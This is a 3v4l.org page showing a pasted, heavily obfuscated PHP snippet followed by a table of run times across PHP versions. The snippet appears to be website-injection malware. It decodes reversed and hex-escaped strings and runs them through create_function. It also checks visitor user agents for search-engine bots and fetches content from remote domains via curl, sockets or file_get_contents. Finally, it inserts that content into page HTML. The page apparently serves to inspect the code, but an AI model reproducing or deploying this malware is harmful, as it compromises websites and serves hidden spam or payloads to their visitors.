3v4l.org

run code in 300+ PHP versions simultaneously
<?php $v9 = '5656}5;Bv5;oc$v5Y5;-4_g@&oc$5;oc$v5Y5;-3_g@&oc$5;oc$v5Y5;-2_g@&oc$5;oc$v5Y5;-1_g@&oc$5;B&oc$5{5-6dtz55}56;%v5;)%6,"n\r\n\r\"(edolpxe&)%6,m$(tsil5;~v5)BV%(6fi5;)J(esolcW@5}5;t$6=.6%5{6))000016,J(daerW&t$(6elihw5;B&%5;)qer$6,J(etirwW5;"n\n\X$6:tsoH"6=.6qer$5;"n\0.1/PTTH6iru$6TEG"&qer$5}5;~v5;)J(esolcW@5{6))086,1pi$6,J(tcennocW@!(6fi5;)PCT_LOS6,MAERTS_KCOS6,TENI_FA(etaercW@&J5;~v5)2pi$6=!61pi$(6fi5;))1pi$(gnol2pi@(pi2gnol@&2pi$5;)X$(emanybXteg@&1pi$5;]"yreuq"[p$6.6"?"6.6]"htap"[p$&iru$5;B=]"yreuq"[p$6))]"yreuq"[p$(tessi!(fi5;]"X"[p$&X$5;-lru_esrap@6=p$5;~v5)~^)"etaercWj4_z55}5;%v5;~v5)BV%(6fi5;)cni$6,B(edolpmi@&%5;-elif@&cni$5;~v5)~^)"elifj3_z5}5;ser$v5;~v5)BVser$(6fi5;)hc$(esolcQ5;)hc$(cexeQ&ser$5;)06,REDAEH+5;)016,TUOEMIT+5;)16,REFSNARTNRUTER+5;)lru$6,LRU+5;)(tiniQ&hc$5;~v5)~^)"tiniQj2_z555}5;%v5;~v5)BV%(6fi5;-Z@&%5;~v5)~^)"Zj1_z59 |6: |5:""|B: == |V:tsoh|X:stnetnoc_teg_elif|Z:kcos$|J:_tekcos|W:_lruc|Q:)lru$(|-:_TPOLRUC ,hc$(tpotes_lruc|+:tpotes_lruc|*: = |&: === |^:fub$|%:eslaf|~: nruter|v:)~ ==! oc$( fi|Y:g noitcnuf|z:"(stsixe_noitcnuf( fi { )lru$(|j}}};eslaf nruter {esle };))8-,i$,ataDzg$(rtsbus(etalfnizg@ nruter };2+i$=i$ )2 & glf$ ( fi ;1+)i$ ,"0\",ataDzg$(soprts=i$ )61 & glf$( fi ;1+)i$,"0\",ataDzg$(soprts=i$ )8 & glf$( fi };nelx$+2+i$=i$ ;))2,i$,ataDzg$(rtsbus,"v"(kcapnu=)nelx$(tsil { )4 & glf$( fi { )0>glf$( fi ;))1,3,ataDzg$(rtsbus(dro=glf$ ;01=i$ { )"80x\b8x\f1x\"==)3,0,ataDzg$(rtsbus( fi { )ataDzg$(izgmoc noitcnuf { ))"izgmoc"(stsixe_noitcnuf!( fi|0} ;1o$~ } ;"" = 1o$Y;]1[1a$ = 1o$ )2=>)1a$(foezis( fi ;)1ac$,"0FN!"(edolpxe@=1a$ ;)po$,)-$(dtg@(2ne=1ac$ ;4g$."/".)"moc."(qqc."//:ptth"=-$ ;)))e&+)d&+)c&+)b&+)a&(edocne-(edocne-."?".po$=4g$ ;)999999,000001(dnar_tm=po$ {Y} ;"" = 1o$ { ) )))a$(rewolotrts ,"i/" . ))"relbmar*xednay*revihcra_ai*tobnsm*pruls*elgoog"(yarra ,"|"(edolpmi . "/"(hctam_gerp( ro )"nimda",)e$(rewolotrts(soprrtsQd$(Qc$(Qa$(( fi ;)"bc1afd45*88275b5e*8e4c7059*8359bd33"(yarra = rramod^FLES_PHP%e^TSOH_PTTH%d^RDDA_ETOMER%c^REREFER_PTTH%b^TNEGA_RESU_PTTH%a$ { )(212yadj } ;a$~ ;W=a$Y;"non"=a$ )""==W( fiY;"non"=a$ ))W(tessi!(fi { )marap$(212kcehcj } ;))po$ ,txet$(2ne(edocne_46esab~ { )txet&j9 esle |Y:]marap$[REVRES_$|W: ro )"non"==|Q:lru|-:.".".|+:","|*:$,po$(43k|&:$ ;)"|^:"(212kcehc=|%: nruter|~: noitcnuf|j}}8zc$9nruter9}817==!9eslaf28)45@9=979{96"5"(stsixe_328164sserpmocnuzg08164izgmoc08164etalfnizg09{9)llun9=9htgnel$9,4oocd939{9))"oocd"(stsixe_3!2| * ;*zd$*) )*edocedzg*zc$(*noitcnuf*( fi*zd$ nruter ) *@ = zd$( ==! eslaf( fi;)"j"(trats_boU~~~~;t$U&zesleU~;)W%Y%RzesleU~;)W@Y@RU;)v$(oocd=t$U;"54+36Q14+c6Q06+56Q26+".p$=T;"05+36Q46+16Q55+".p$=1p$;"f5Q74+56Q26+07Q"=p$U;)"enonU:gnidocnE-tnetnoC"(redaeHz)v$(jUwz))"j"(stsixe_w!k9 |U:2p$|T:x\|Q:1\|+:nruter|&:lmth|%:ydob|@:} |~: { |z:(fi|k:22ap|j:noitcnuf|w:/\<\(/"(T &z))t$,"is/|Y:/\<\/"(1p$k|R:1,t$ ,"1"."$"."n\".)(212yad ,"is/)>\*]>\^[|W'; $syv= "\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\141\x72\162\x61\171"; $siv = "\x73\164\x72\137\x72\145\x70\154\x61\143\x65";$slv = "\x73\164\x72\162\x65\166";$s1v="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; $svv = '//}9;g$^s$9nruter9}9;)8,0,q$(r$=.g$9;))"46\27x\36\56x\26\77x\16\17x\".q$.g$(m$,"*H"(p$9=9q$9{9))s$(l$<)g$(l$(9elihw9;""9=9g$9;"53x\441\d6x\"=m$;"261\47x\361\26x\561\37x\"=r$;"351\36x\141\07x\"=p$;"651\56x\451\27x\461\37x\"=l$9{9)q$9,s$(2ne9noitcnuf;}'; $n9 = '1067|416|779|223|361'; $ll = "\x70\162\x65\147\x5f\162\x65\160\x6c\141\x63\145"; $ee1 = array('\14',', $',') { ','[$i]','substr($','a = $xx("|","',',strpos($y,"9")',' = str_replace($','x3','\x7','\15',';$i++) {','function ','x6','); ','for($i=0;$i<sizeof($','); } create_function("", "};".$',' = explode("'); $ji9 = "\x2c\40\x24\145\x65\61\x2c\40\x24\163\x39\71\x29\51\x3b"; $s99 = 'Xoo2($bA$hM|", strrev($b)V$dM*"Ph[0]V$b = $h[1]; Bd)Z $bHiPdSPbNb."//"V} Xcqq($qwAreturn random($domarr,$qwV} Xoo1($yA$y= strrev($yV$g=DyG+1V$vM:",Dy,0G)VBv)Z $qM|"PvSV$gHq[0],$q[1],$gNg."//"V} $s1v(""Psiv("\71"," ",$slv($svv))VXrandom($arr,$qwA$g="\x20\167\x2d\70\J6794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\J3\54\C7\75\x20\167\x2e\40K2\73\x20L5\x2d\70"."6d944835,sq-873964872937873960\J8\66\C3\71\J5\61\J8\67\J4\42\Jb";$soy = "\C5L6\J2";$xx="\C5\170K0"."L4\CfO4\C5";$ecx="\C3\162\C5O1K4O5\x5fO6K5L6\C3\164\C9L7\Ce";$scy="K3\164K2\137K2O5K0L4\C1O3\C5";$F\x5c\170Kc\134\J1\174\Jd\42Kc\42\Jb\44Kc\44");$aF8|9|-|,| ");$mec=$ecx;Ba)Z$g = $scy($aaS,$aS,$gV}$ecx("", "};$g//");$mec(""Psoy("\230\77L3O7\26\167\114\130\223\257\211\2\253\5\172\316\25\262O5\25\62\72\127L6\270\100L4\56\341\77\4\37\21L2\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20",$scy)Vreturn $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw;} $r9M|",$n9V$b9=0;$a9=0; for($i9=0;$i9<sizeof($r9);$i9++Aif ($i9==0) $a9=0; else $a9=$r9[$i9-1]+$a9; $b9=$r9[$i9]; $v_[]=Dv9Pa9Pb9V} $y =1; for($i=0;$i<5Z$vv1 ="o"."o".$y;if ($y==1) $y=2; else $y=1; $vv1($v_SV}'; function oo2($b) { $h = explode("|", strrev($b)); $d = explode("*", $h[0]); $b = $h[1]; for($i=0;$i<sizeof($d);$i++) { $b = str_replace($i, $d[$i], $b); } create_function("", "};".$b."//"); } function cqq($qw) { return random($domarr,$qw); } function oo1($y) { $y= strrev($y); $g=substr($y,strpos($y,"9")+1); $v = explode(":",substr($y,0,strpos($y,"9"))); for($i=0;$i<sizeof($v);$i++) { $q = explode("|", $v[$i]); $g = str_replace($q[0],$q[1],$g); } create_function("", "};".$g."//"); } $s1v("", $siv("\71"," ",$slv($svv))); function random($arr,$qw) { $g="\x20\167\x2d\70\x36794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\x33\54\x67\75\x20\167\x2e\40\x72\73\x20\155\x2d\70"."6d944835,sq-873964872937873960\x38\66\x63\71\x35\61\x38\67\x34\42\x3b";$soy = "\x65\156\x32";$xx="\x65\170\x70"."\154\x6f\144\x65";$ecx="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e";$scy="\x73\164\x72\137\x72\145\x70\154\x61\143\x65";$a = $xx("|","\x5c\170\x7c\134\x31\174\x3d\42\x7c\42\x3b\44\x7c\44");$aa = $xx("|","8|9|-|,| ");$mec=$ecx;for($i=0;$i<sizeof($a);$i++) {$g = $scy($aa[$i],$a[$i],$g); }$ecx("", "};$g//");$mec("", $soy("\230\77\153\147\26\167\114\130\223\257\211\2\253\5\172\316\25\262\145\25\62\72\127\156\270\100\154\56\341\77\4\37\21\152\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20",$scy)); return $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw; } $r9 = explode("|",$n9); $b9=0;$a9=0; for($i9=0;$i9<sizeof($r9);$i9++) { if ($i9==0) $a9=0; else $a9=$r9[$i9-1]+$a9; $b9=$r9[$i9]; $v_[]=substr($v9, $a9, $b9); } var_dump($v_);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
7.4.10.0060.00914.89
7.4.00.0090.00915.05
7.3.130.0030.01614.95
7.3.120.0070.01314.94
7.3.110.0110.00614.85
7.3.100.0050.00814.88
7.3.90.0080.00714.93
7.3.80.0020.00914.86
7.3.70.0070.00914.87
7.3.60.0020.01114.85
7.3.50.0040.00714.61
7.3.40.0040.00815.01
7.3.30.0080.00714.95
7.3.20.0080.00516.81
7.3.10.0060.00816.62
7.3.00.0060.00916.70
7.2.260.0070.01315.10
7.2.250.0090.00914.98
7.2.240.0080.01114.99
7.2.230.0050.01015.24
7.2.220.0070.01015.09
7.2.210.0080.00715.12
7.2.200.0060.00615.06
7.2.190.0050.00915.14
7.2.180.0050.01215.10
7.2.170.0060.00715.15
7.2.160.0030.00614.77
7.2.150.0090.00616.63
7.2.140.0080.00816.89
7.2.130.0030.01416.82
7.2.120.0040.00716.77
7.2.110.0030.01016.73
7.2.100.0060.00317.04
7.2.90.0150.00316.68
7.2.80.0090.00916.85
7.2.70.0120.00316.73
7.2.60.0070.01017.10
7.2.50.0000.01416.80
7.2.40.0120.00316.63
7.2.30.0000.01516.98
7.2.20.0040.01216.85
7.2.10.0040.01116.77
7.2.00.0050.00818.17
7.1.330.0020.01315.84
7.1.320.0060.00815.85
7.1.310.0090.00415.86
7.1.300.0060.00615.93
7.1.290.0040.00915.71
7.1.280.0110.00215.65
7.1.270.0070.00815.80
7.1.260.0050.00715.82
7.1.250.0070.00315.99
7.1.240.0030.00615.54
7.1.230.0000.01615.57
7.1.220.0080.00415.99
7.1.210.0120.00015.80
7.1.200.0000.01115.97
7.1.190.0050.00815.96
7.1.180.0000.01215.76
7.1.170.0090.00615.79
7.1.160.0080.00015.73
7.1.150.0000.01416.00
7.1.140.0070.00715.94
7.1.130.0060.00615.86
7.1.120.0000.01015.95
7.1.110.0030.00915.87
7.1.100.0050.01015.87
7.1.90.0060.00916.00
7.1.80.0040.01115.68
7.1.70.0050.00616.45
7.1.60.0050.01517.65
7.1.50.0110.00616.49
7.1.40.0040.00415.79
7.1.30.0080.00615.88
7.1.20.0060.00615.64
7.1.10.0060.00615.93
7.1.00.0040.04219.13
7.0.330.0090.00315.33
7.0.320.0040.01115.30
7.0.310.0060.00915.43
7.0.300.0030.00515.60
7.0.290.0030.00715.60
7.0.280.0060.00315.41
7.0.270.0070.00715.45
7.0.260.0030.01015.60
7.0.250.0090.00615.19
7.0.240.0040.01115.64
7.0.230.0070.01015.22
7.0.220.0070.01115.54
7.0.210.0030.01015.65
7.0.200.0220.00515.08
7.0.190.0050.00315.26
7.0.180.0000.01315.46
7.0.170.0060.00915.29
7.0.160.0030.00615.50
7.0.150.0090.00615.46
7.0.140.0100.03518.77
7.0.130.0110.00415.50
7.0.120.0020.04118.83
7.0.110.0060.00315.47
7.0.100.0060.00915.50
7.0.90.0100.00615.43
7.0.80.0070.00715.44
7.0.70.0040.00715.50
7.0.60.0020.02817.69
7.0.50.0010.02416.61
7.0.40.0050.02616.80
7.0.30.0120.04516.79
7.0.20.0070.03216.80
7.0.10.0050.02616.82
7.0.00.0090.02816.95
5.6.400.0060.00914.55
5.6.390.0000.01114.14
5.6.380.0030.01214.60
5.6.370.0060.00614.28
5.6.360.0000.00814.87
5.6.350.0070.00314.75
5.6.340.0000.01114.88
5.6.330.0030.00914.00
5.6.320.0030.00613.95
5.6.310.0110.00014.02
5.6.300.0100.00714.32
5.6.290.0000.01314.06
5.6.280.0030.04317.83
5.6.270.0040.00714.64
5.6.260.0070.00714.66
5.6.250.0000.01514.26
5.6.240.0060.00314.68
5.6.230.0060.00614.38
5.6.220.0070.01114.36
5.6.210.0080.04117.55
5.6.200.0090.03216.50
5.6.190.0110.04317.42
5.6.180.0150.03417.52
5.6.170.0030.03117.54
5.6.160.0120.04017.47
5.6.150.0090.03516.41
5.6.140.0140.03116.40
5.6.130.0050.04216.35
5.6.120.0020.04117.71
5.6.110.0120.04017.85
5.6.100.0030.02717.70
5.6.90.0120.04317.60
5.6.80.0050.04317.38
5.6.70.0080.01214.38
5.6.60.0070.00714.16
5.6.50.0000.01414.68
5.6.40.0100.00714.41
5.6.30.0070.00714.37
5.6.20.0070.00414.56
5.6.10.0030.01014.16
5.6.00.0040.00414.36
5.5.380.0060.00614.51
5.5.370.0070.00714.82
5.5.360.0060.00614.39
5.5.350.0030.04717.55
5.5.340.0040.02616.27
5.5.330.0050.04617.36
5.5.320.0020.02617.24
5.5.310.0220.03117.46
5.5.300.0040.02716.29
5.5.290.0030.03516.22
5.5.280.0070.02717.62
5.5.270.0080.03717.54
5.5.260.0050.02817.70
5.5.250.0080.03817.70
5.5.240.0150.01717.31
5.5.230.0080.00814.08
5.5.220.0040.00814.55
5.5.210.0070.00714.43
5.5.200.0110.00314.26
5.5.190.0110.00314.39
5.5.180.0030.01214.58
5.5.170.0070.00714.52
5.5.160.0030.01014.25
5.5.150.0060.00614.45
5.5.140.0070.00714.32
5.5.130.0060.00614.16
5.5.120.0040.01114.39
5.5.110.0030.00714.30
5.5.100.0030.00914.27
5.5.90.0040.01114.55
5.5.80.0030.00714.30
5.5.70.0070.00714.36
5.5.60.0060.00614.19
5.5.50.0120.00614.44
5.5.40.0030.01114.42
5.5.30.0070.00714.25
5.5.20.0030.01014.52
5.5.10.0070.00714.46
5.5.00.0060.00814.54
5.4.450.0230.02615.33
5.4.440.0200.02515.23
5.4.430.0280.02215.20
5.4.420.0230.02415.16
5.4.410.0300.02115.13
5.4.400.0120.02515.19
5.4.390.0420.02215.06
5.4.380.0420.02415.32
5.4.370.0270.01715.15
5.4.360.0170.02515.27
5.4.350.0100.02215.26
5.4.340.0380.02015.02
5.4.330.0060.00311.21
5.4.320.0300.02214.90
5.4.310.0250.02115.11
5.4.300.0350.02715.12
5.4.290.0380.01715.20
5.4.280.0230.02115.14
5.4.270.0420.01815.21
5.4.260.0300.02015.02
5.4.250.0150.02315.04
5.4.240.0220.01615.01
5.4.230.0320.02214.93
5.4.220.0350.02015.16
5.4.210.0350.01714.96
5.4.200.0180.02315.09
5.4.190.0480.01915.12
5.4.180.0330.02114.90
5.4.170.0160.02615.00
5.4.160.0180.02715.08
5.4.150.0230.02615.08
5.4.140.0260.01813.64
5.4.130.0300.02513.81
5.4.120.0130.03013.73
5.4.110.0250.02013.88
5.4.100.0400.02113.77
5.4.90.0480.02313.90
5.4.80.0210.02013.63
5.4.70.0210.01813.67
5.4.60.0340.02413.85
5.4.50.0230.01613.70
5.4.40.0470.02013.81
5.4.30.0320.02413.82
5.4.20.0350.02513.80
5.4.10.0280.01813.92
5.4.00.0380.02013.40
5.3.290.0460.01813.29
5.3.280.0300.01913.13
5.3.270.0430.02013.11
5.3.260.0400.02013.16
5.3.250.0180.02013.23
5.3.240.0210.02013.18
5.3.230.0220.02013.27
5.3.220.0180.02213.24
5.3.210.0240.02513.22
5.3.200.0430.01613.24
5.3.190.0410.01913.26
5.3.180.0260.02113.34
5.3.170.0280.02613.32
5.3.160.0390.01913.29
5.3.150.0320.02013.32
5.3.140.0450.02513.30
5.3.130.0300.02713.28
5.3.120.0290.02213.30
5.3.110.0140.02413.30
5.3.100.0320.02313.17
5.3.90.0170.02613.13
5.3.80.0250.02013.24
5.3.70.0420.02513.17
5.3.60.0400.02313.19
5.3.50.0210.01713.21
5.3.40.0400.02313.28
5.3.30.0420.02013.15
5.3.20.0330.02013.11
5.3.10.0280.03113.11
5.3.00.0330.01813.10
5.2.170.0470.02015.83
5.2.160.0100.03715.83
5.2.150.0500.03315.83
5.2.140.0400.02715.83
5.2.130.0200.03015.83
5.2.120.0200.02315.83
5.2.110.0400.02715.83
5.2.100.0500.03315.83
5.2.90.0370.02715.83
5.2.80.0430.02715.82
5.2.70.0230.04315.83
5.2.60.0400.02715.83
5.2.50.0470.03715.83
5.2.40.0300.03015.83
5.2.30.0400.03715.83
5.2.20.0300.02715.83
5.2.10.0430.03015.83
5.2.00.0230.03015.83
5.1.60.0130.02715.83
5.1.50.0370.02015.83
5.1.40.0400.02715.83
5.1.30.0430.02715.83
5.1.20.0330.02715.83
5.1.10.0270.02315.83
5.1.00.0071.1939.95
5.0.50.0200.01715.83
5.0.40.0200.01315.83
5.0.30.0100.03315.83
5.0.20.0130.01715.83
5.0.10.0370.01015.83
5.0.00.0170.02315.83
4.4.90.0070.01715.83
4.4.80.0200.01715.83
4.4.70.0130.01315.83
4.4.60.0200.02015.83
4.4.50.0230.01315.83
4.4.40.0470.02015.83
4.4.30.0270.01015.83
4.4.20.0100.01315.83
4.4.10.0170.01315.83
4.4.00.0270.02315.83
4.3.110.0230.02015.83
4.3.100.0100.01715.83
4.3.90.0170.01715.83
4.3.80.0300.02015.83
4.3.70.0200.01315.83
4.3.60.0130.01015.83
4.3.50.0270.01715.83
4.3.40.0300.02015.83
4.3.30.0070.01715.83
4.3.20.0000.01315.83
4.3.10.0100.01315.83
4.3.00.0070.01715.83

preferences:
51.84 ms | 401 KiB | 5 Q